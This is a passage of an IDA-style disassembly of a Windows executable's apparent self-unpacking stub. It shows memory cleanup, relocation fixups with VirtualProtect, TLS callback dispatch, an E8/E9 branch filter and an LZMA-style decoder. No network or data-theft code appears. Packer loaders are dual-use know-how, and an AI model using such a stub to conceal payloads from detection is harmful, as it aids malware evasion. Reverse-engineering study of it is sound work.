; ---------------------------------------------------------------------------


loc_501D5A:				; CODE XREF: start+8F5j
		cmp	[ebp+var_224], 0
		jz	short loc_501D76
		push	8000h
		push	0
		push	[ebp+var_224]
		call	ds:dword_5010D4	; VirtualFree


loc_501D76:				; CODE XREF: start+911j
		cmp	ds:dword_501030, 0
		jz	short loc_501D92
		push	8000h
		push	0
		push	ds:dword_501030
		call	ds:dword_5010D4	; VirtualFree


loc_501D92:				; CODE XREF: start+92Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_501DA4
		call	sub_501DB8
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_501DA4:				; CODE XREF: start+946j
		push	0
		call	ds:dword_5010DC	; ExitProcess


loc_501DAC:				; CODE XREF: start+850j
		jmp	short loc_501D41
; ---------------------------------------------------------------------------


loc_501DAE:				; CODE XREF: start+7B9j
		jmp	short loc_501D41
; ---------------------------------------------------------------------------


loc_501DB0:				; CODE XREF: start+62Bj
		jmp	short loc_501D41
; ---------------------------------------------------------------------------


loc_501DB2:				; CODE XREF: start+2B3j
		jmp	short loc_501D41
; ---------------------------------------------------------------------------


loc_501DB4:				; CODE XREF: start:loc_5016A4j
		jmp	short loc_501D41
; ---------------------------------------------------------------------------


loc_501DB6:				; CODE XREF: start+67j
		jmp	short loc_501D41
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_501DB8	proc near		; CODE XREF: start+8C6p start+948p
		mov	eax, ds:dword_501040
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_501DED
		mov	eax, [eax]
		push	esi
		xor	esi, esi


loc_501DC9:				; CODE XREF: sub_501DB8+32j
		push	eax
		call	ds:dword_5010F4	; FreeLibrary
		mov	eax, ds:dword_501040
		and	dword ptr [esi+eax], 0
		mov	eax, ds:dword_501040
		inc	edi
		movzx	esi, di
		shl	esi, 2
		mov	eax, [esi+eax]
		test	eax, eax
		jnz	short loc_501DC9
		pop	esi


loc_501DED:				; CODE XREF: sub_501DB8+Aj
		pop	edi
		retn
sub_501DB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_501DEF	proc near		; CODE XREF: start:loc_501C6Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, ds:dword_501028
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, ds:off_501024
		cmp	[eax+54h], ecx
		jz	loc_501EC6
		mov	eax, [eax+60h]
		test	eax, eax
		jz	loc_501EC6
		lea	edi, [eax+ecx]


loc_501E22:				; CODE XREF: sub_501DEF+CEj
		cmp	dword ptr [edi], 0
		jz	loc_501EC6
		lea	eax, [edi+8]
		and	[ebp+var_8], 0
		mov	[ebp+var_4], eax
		mov	eax, [edi+4]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		test	eax, eax
		jle	short loc_501EBA


loc_501E44:				; CODE XREF: sub_501DEF+C9j
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		mov	esi, eax
		and	esi, 0FFFh
		add	esi, [edi]
		add	esi, ecx
		shr	eax, 0Ch
		jz	short loc_501EA3
		cmp	eax, 3
		jnz	short loc_501EC2
		mov	eax, ds:off_501024
		mov	ebx, [esi]
		sub	ebx, [eax+54h]
		add	ebx, ecx
		cmp	ebx, ecx
		jb	short loc_501EC2
		mov	eax, [ebp+var_10]
		mov	eax, [eax+50h]
		add	eax, ecx
		cmp	ebx, eax
		ja	short loc_501EC2
		lea	eax, [ebp+var_C]
		push	eax
		push	40h
		push	4
		push	esi
		call	ds:dword_5010EC	; VirtualProtect
		lea	eax, [ebp+var_C]
		mov	[esi], ebx
		push	eax
		push	[ebp+var_C]
		push	4
		push	esi
		call	ds:dword_5010EC	; VirtualProtect
		mov	ecx, ds:dword_501028


loc_501EA3:				; CODE XREF: sub_501DEF+6Aj
		mov	eax, [edi+4]
		add	[ebp+var_4], 2
		inc	[ebp+var_8]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_8], eax
		jl	short loc_501E44


loc_501EBA:				; CODE XREF: sub_501DEF+53j
		add	edi, [edi+4]
		jmp	loc_501E22
; ---------------------------------------------------------------------------


loc_501EC2:				; CODE XREF: sub_501DEF+6Fj
					; sub_501DEF+7Fj ...
		xor	eax, eax
		jmp	short loc_501EC9
; ---------------------------------------------------------------------------


loc_501EC6:				; CODE XREF: sub_501DEF+1Fj
					; sub_501DEF+2Aj ...
		push	1
		pop	eax


loc_501EC9:				; CODE XREF: sub_501DEF+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_501DEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_501ECE	proc near		; CODE XREF: sub_501F30+A5p
					; DATA XREF: .ex_cod:00501004o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_501010, 0
		push	esi
		jz	short loc_501F09
		mov	eax, ds:off_501024
		mov	ecx, [eax+1Ch]
		sub	ecx, [eax+50h]
		add	ecx, offset start
		mov	esi, [ecx+0Ch]
		test	esi, esi
		jz	short loc_501F2B


loc_501EF3:				; CODE XREF: sub_501ECE+39j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_501F2B
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esi, 4
		jmp	short loc_501EF3
; ---------------------------------------------------------------------------


loc_501F09:				; CODE XREF: sub_501ECE+Bj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_501014, 1
		mov	ds:dword_501018, eax
		mov	eax, [ebp+arg_4]
		mov	ds:dword_50101C, eax
		mov	eax, [ebp+arg_8]
		mov	ds:dword_501020, eax


loc_501F2B:				; CODE XREF: sub_501ECE+23j
					; sub_501ECE+29j
		pop	esi
		pop	ebp
		retn	0Ch
sub_501ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_501F30	proc near		; CODE XREF: start+860p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:off_501024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_501FB0
		cmp	ds:dword_50100C, 0FFFFFFFFh
		jz	short loc_501FB0
		push	ebx
		push	esi
		push	edi
		mov	ecx, ds:dword_50100C
		mov	edx, large fs:2Ch
		mov	ecx, [edx+ecx*4]
		mov	[ebp+var_4], ecx
		mov	ecx, ds:off_501024
		mov	edx, ds:dword_50100C
		mov	edi, [ebp+var_4]
		mov	eax, [ecx+1Ch]
		sub	eax, [ecx+50h]
		add	eax, offset start
		mov	ecx, [eax+8]
		mov	[ecx], edx
		mov	esi, [eax]
		mov	edx, [eax+4]
		sub	edx, esi
		mov	ecx, edx
		mov	ebx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_4]
		mov	ecx, [eax+10h]
		xor	eax, eax
		lea	edi, [edx+esi]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	esi
		pop	ebx


loc_501FB0:				; CODE XREF: sub_501F30+Dj
					; sub_501F30+16j
		cmp	ds:dword_501014, 0
		mov	ds:dword_501010, 1
		jz	short locret_501FDA
		push	ds:dword_501020
		push	ds:dword_50101C
		push	ds:dword_501018
		call	sub_501ECE

locret_501FDA:				; CODE XREF: sub_501F30+91j
		leave
		retn
sub_501F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_501FDC	proc near		; CODE XREF: sub_501368+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx


loc_50202C:				; CODE XREF: sub_501FDC+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_502042
		cmp	cl, 0E9h
		jz	short loc_502042
		inc	eax
		jmp	loc_502148
; ---------------------------------------------------------------------------


loc_502042:				; CODE XREF: sub_501FDC+59j
					; sub_501FDC+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_50205C
		and	dword ptr [esi], 0
		jmp	short loc_50206C
; ---------------------------------------------------------------------------


loc_50205C:				; CODE XREF: sub_501FDC+79j
		test	ecx, ecx
		jbe	short loc_50206C


loc_502060:				; CODE XREF: sub_501FDC+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_502060


loc_50206C:				; CODE XREF: sub_501FDC+7Ej
					; sub_501FDC+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_50207D
		cmp	dl, 0FFh
		jnz	loc_502134


loc_50207D:				; CODE XREF: sub_501FDC+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_502134
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_502134
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx


loc_5020BE:				; CODE XREF: sub_501FDC+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_502106
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_5020EE
		cmp	dl, 0FFh
		jnz	short loc_502103


loc_5020EE:				; CODE XREF: sub_501FDC+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_5020BE
; ---------------------------------------------------------------------------


loc_502103:				; CODE XREF: sub_501FDC+110j
		mov	edi, [ebp+arg_0]


loc_502106:				; CODE XREF: sub_501FDC+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_502148
; ---------------------------------------------------------------------------


loc_502134:				; CODE XREF: sub_501FDC+9Bj
					; sub_501FDC+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_502143
		cmp	dl, 0FFh
		jnz	short loc_502148


loc_502143:				; CODE XREF: sub_501FDC+160j
		or	ecx, 10h
		mov	[esi], ecx


loc_502148:				; CODE XREF: sub_501FDC+61j
					; sub_501FDC+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_50202C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_501FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_502156	proc near		; CODE XREF: sub_5023E9+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_5021AE
		push	ebx
		mov	[ebp+arg_0], edx


loc_502171:				; CODE XREF: sub_502156+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_50217D
		sub	edi, esi
		or	al, 1


loc_50217D:				; CODE XREF: sub_502156+21j
		cmp	esi, 1000000h
		jnb	short loc_5021A8
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_50219B
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_5021A0
; ---------------------------------------------------------------------------


loc_50219B:				; CODE XREF: sub_502156+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx


loc_5021A0:				; CODE XREF: sub_502156+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx


loc_5021A8:				; CODE XREF: sub_502156+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_502171
		pop	ebx


loc_5021AE:				; CODE XREF: sub_502156+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_502156	endp


; =============== S U B	R O U T	I N E =======================================



sub_5021B8	proc near		; CODE XREF: sub_50227D+1Dp
					; sub_5022B4+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_502229
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_502225
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_50220C
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_502211
; ---------------------------------------------------------------------------


loc_50220C:				; CODE XREF: sub_5021B8+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi


loc_502211:				; CODE XREF: sub_5021B8+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax


loc_502225:				; CODE XREF: sub_5021B8+3Fj
		xor	eax, eax
		jmp	short loc_50227A
; ---------------------------------------------------------------------------


loc_502229:				; CODE XREF: sub_5021B8+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_50227A
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_502260
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_502265
; ---------------------------------------------------------------------------


loc_502260:				; CODE XREF: sub_5021B8+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi


loc_502265:				; CODE XREF: sub_5021B8+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx


loc_50227A:				; CODE XREF: sub_5021B8+6Fj
					; sub_5021B8+96j
		pop	edi
		pop	esi
		retn
sub_5021B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_50227D	proc near		; CODE XREF: sub_502374+26p
					; sub_502374+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_5022A8
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]


loc_50228E:				; CODE XREF: sub_50227D+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_5021B8
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_50228E
		pop	edi
		pop	esi


loc_5022A8:				; CODE XREF: sub_50227D+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_50227D	endp


; =============== S U B	R O U T	I N E =======================================



sub_5022B4	proc near		; CODE XREF: sub_5023E9+2F5p
					; sub_5023E9+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_5022EA
		push	esi


loc_5022C4:				; CODE XREF: sub_5022B4+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_5021B8
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_5022C4
		pop	esi


loc_5022EA:				; CODE XREF: sub_5022B4+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_5022B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5022EF	proc near		; CODE XREF: sub_5023E9+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_5021B8
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2


loc_50231E:				; CODE XREF: sub_5022EF+5Fj
		cmp	esi, eax
		jnz	short loc_502350
		cmp	ebx, 100h
		jge	short loc_50236D
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_5021B8
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_50231E
; ---------------------------------------------------------------------------


loc_502350:				; CODE XREF: sub_5022EF+31j
		mov	esi, 100h


loc_502355:				; CODE XREF: sub_5022EF+7Cj
		cmp	ebx, esi
		jge	short loc_50236D
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_5021B8
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_502355
; ---------------------------------------------------------------------------


loc_50236D:				; CODE XREF: sub_5022EF+39j
					; sub_5022EF+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_5022EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_502374	proc near		; CODE XREF: sub_5023E9+24Fp
					; sub_5023E9+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_5021B8
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_5023A4
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_50227D
		add	esp, 0Ch
		jmp	short loc_5023E6
; ---------------------------------------------------------------------------


loc_5023A4:				; CODE XREF: sub_502374+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_5021B8
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_5023D2
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_50227D
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_5023E6
; ---------------------------------------------------------------------------


loc_5023D2:				; CODE XREF: sub_502374+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_50227D
		add	esp, 0Ch
		add	eax, 10h


loc_5023E6:				; CODE XREF: sub_502374+2Ej
					; sub_502374+5Cj
		pop	edi
		pop	esi
		retn
sub_502374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5023E9	proc near		; CODE XREF: sub_501368+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_502451
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_502451:				; CODE XREF: sub_5023E9+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5


loc_502473:				; CODE XREF: sub_5023E9+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_50247F
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_502487
; ---------------------------------------------------------------------------


loc_50247F:				; CODE XREF: sub_5023E9+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]


loc_502487:				; CODE XREF: sub_5023E9+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_502473
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_50274F


loc_5024AA:				; CODE XREF: sub_5023E9+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_5021B8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_50255F
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_5024FF
		and	[ebp+var_4], 0
		jmp	short loc_50250F
; ---------------------------------------------------------------------------


loc_5024FF:				; CODE XREF: sub_5023E9+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_50250B
		sub	[ebp+var_4], 3
		jmp	short loc_50250F
; ---------------------------------------------------------------------------


loc_50250B:				; CODE XREF: sub_5023E9+11Aj
		sub	[ebp+var_4], 6


loc_50250F:				; CODE XREF: sub_5023E9+114j
					; sub_5023E9+120j
		cmp	[ebp+var_14], 0
		jz	short loc_50253C
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_5022EF
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_50255A
; ---------------------------------------------------------------------------


loc_50253C:				; CODE XREF: sub_5023E9+12Aj
		push	1
		pop	ebx


loc_50253F:				; CODE XREF: sub_5023E9+16Fj
		add	ebx, ebx
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebx+edi]
		push	eax
		call	sub_5021B8
		or	ebx, eax
		pop	ecx
		cmp	ebx, 100h
		pop	ecx
		jl	short loc_50253F


loc_50255A:				; CODE XREF: sub_5023E9+151j
		mov	eax, [ebp+arg_1C]
		jmp	short loc_5025D2
; ---------------------------------------------------------------------------


loc_50255F:				; CODE XREF: sub_5023E9+E0j
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_14], 1
		lea	eax, [esi+ebx*2+180h]
		push	eax
		call	sub_5021B8
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_502658
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+198h]
		push	eax
		call	sub_5021B8
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_34]
		push	eax
		jnz	short loc_5025E0
		lea	eax, [ebx+0Fh]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_5021B8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_50262C
		cmp	ebx, 7
		mov	ecx, [ebp+arg_C]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_1C]
		mov	bl, [ecx+eax]


loc_5025D2:				; CODE XREF: sub_5023E9+174j
		mov	ecx, [ebp+arg_C]
		inc	[ebp+arg_C]
		mov	[ecx+eax], bl
		jmp	loc_502743
; ---------------------------------------------------------------------------


loc_5025E0:				; CODE XREF: sub_5023E9+1B5j
		lea	eax, [esi+ebx*2+1B0h]
		push	eax
		call	sub_5021B8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_5025F8
		mov	eax, [ebp+var_10]
		jmp	short loc_502623
; ---------------------------------------------------------------------------


loc_5025F8:				; CODE XREF: sub_5023E9+208j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+ebx*2+1C8h]
		push	eax
		call	sub_5021B8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_502614
		mov	eax, [ebp+var_C]
		jmp	short loc_50261D
; ---------------------------------------------------------------------------


loc_502614:				; CODE XREF: sub_5023E9+224j
		mov	ecx, [ebp+var_C]
		mov	eax, [ebp+var_18]
		mov	[ebp+var_18], ecx


loc_50261D:				; CODE XREF: sub_5023E9+229j
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx


loc_502623:				; CODE XREF: sub_5023E9+20Dj
		mov	ecx, [ebp+var_8]
